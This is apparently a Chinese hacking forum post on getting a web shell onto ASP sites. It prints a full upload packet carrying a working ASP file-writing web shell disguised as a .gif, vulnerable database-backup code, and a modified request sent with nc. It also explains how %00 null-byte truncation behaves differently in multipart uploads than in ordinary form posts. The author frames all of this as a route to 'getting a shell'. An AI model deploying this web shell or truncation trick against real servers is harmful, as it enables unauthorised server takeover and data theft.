Accept: p_w_picpath/gif, p_w_picpath/x-xbitmap, p_w_picpath/jpeg, p_w_picpath/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer:
下面是一个上传之后的包:
-----------------------------7d9138191ce08bc
Content-Disposition: form-data; name="valcode"
-----------------------------7d9138191ce08bc
Content-Disposition: form-data; name="file_name1"; filename="D:\hacker\xiaoma.gif"
Content-Type: text/plain
<%on error resume next%>
<%ofso="scripting.filesystemobject"%>
<%set fso=server.createobject(ofso)%>
<%path=request("path")%>
<%if path<>"" then%>
<%data=request("dama")%>
<%set dama=fso.createtextfile(path,true)%>
<%dama.write data%>
<%if err=0 then%>
<%="success"%>
<%else%>
<%="false"%>
<%end if%>
<%err.clear%>
<%end if%>
<%dama.close%>
<%set dama=nothing%>
<%set fos=nothing%>
<%="<form action='' method=post>"%>
<%="<input type=text name=path>"%>
<%="<br>"%>
<%=server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%=""%>
<%="<textarea name=dama cols=70 rows=30 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submit value=save>"%>
<%="</form>"%>
-----------------------------7d9138191ce08bc
Content-Disposition: form-data; name="submit"
-----------------------------7d9138191ce08bc--
我们在实际中,经常遇到一类后台,有备份,但是备份的文件尾他给你加个.mdb,比如下属这段代码
Dbpath=request.form("Dbpath")
Dbpath=server.mappath(Dbpath)
bkfolder=request.form("bkfolder")
bkdbname=request.form("bkdbname")
Set Fso=server.createobject("scripting.filesystemobject")
if fso.fileexists(dbpath) then
If CheckDir(bkfolder) = True Then
response.write bkfolder& "\"& bkdbname & ".mdb" '为了好看,我给他打印出来
fso.copyfile dbpath,bkfolder& "\"& bkdbname & ".mdb"
else
MakeNewsDir bkfolder
fso.copyfile dbpath,bkfolder& "\"& bkdbname & ".mdb"
end if
response.write "数据库备份完成,请进行其他操作!建立使用 FTP 工具将数据库备份,以保证数据安全"
else
response.write "找不到您所需要备份的文件!"
end if
end sub
Function CheckDir(FolderPath)
folderpath=Server.MapPath(".")&"\"&folderpath
Set fso1 = CreateObject("Scripting.FileSystemObject")
If fso1.FolderExists(FolderPath) then
CheckDir = True
Else
CheckDir = False
End if
Set fso1 = nothing
End Function
Function MakeNewsDir(foldername)
Set fso1 = CreateObject("Scripting.FileSystemObject")
Set f = fso1.CreateFolder(foldername)
MakeNewsDir = True
Set fso1 = nothing
End Function
但是如果很遗憾,我们遇到的是iis7或者apache的服务器呢?
小菜自以为聪明的也想来一次截断
以下是修改后的包
Accept: p_w_picpath/gif, p_w_picpath/x-xbitmap, p_w_picpath/jpeg, p_w_picpath/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://localhost/bjxshop/admin/backup.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: localhost
Content-Length: 79
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCSASTTAR=EGGPAIHBCAHNKPGPOEOOKIFB
nc提交之后得到,似乎和想象中的有点出入?? shop.asp.mdb
并没有截断!
以上是在本机iis5.0测试
冥思苦想了很久,终于有点头绪了
网上找了点资料加本地测试了下
if request.queryString<>"" then
id=request.queryString("id")
response.write "Get:"
response.write id&".mdb"
end if
%>
提交re.asp?id=111%00111
得到保留%00之前的字符
这就是request的时候出的问题,request("参数")遇到%00自动间断,放弃%00以及之后的字符
那为什么上面filepath变量可以进行截断呢?
比较一下这两种包的不同
一般上传文件的表单
enctype="multipart/form-data" 是这种格式的
而普通表单
不定义格式,
默认为:Content-Type: application/x-www-form-urlencoded
具体不同可以参照:http://hi.baidu.com/micronew/blo ... 8ddeea08fa93b5.html 无组件上传类的原理(我自己也没写过,太麻烦了,不过可以了解下)
enctype="multipart/form-data" 这种格式的上传的是一个文件表单,我们的无组件上传类必须对其内容进行分割(有固定格式),得到文件名,文件内容,路径值,因为路径值是分割得到的
所以,保留了\00这个邪恶的符号,带入保存,成功。
ps:在测试pw本地包含漏洞时,可能是php的机制原因,get参数中的%00也带了进去哦
以上是个人的一点小成果,可能对你们拿shell没什么帮助,不过作为自己实验出来的一点东西还是有点小骄傲的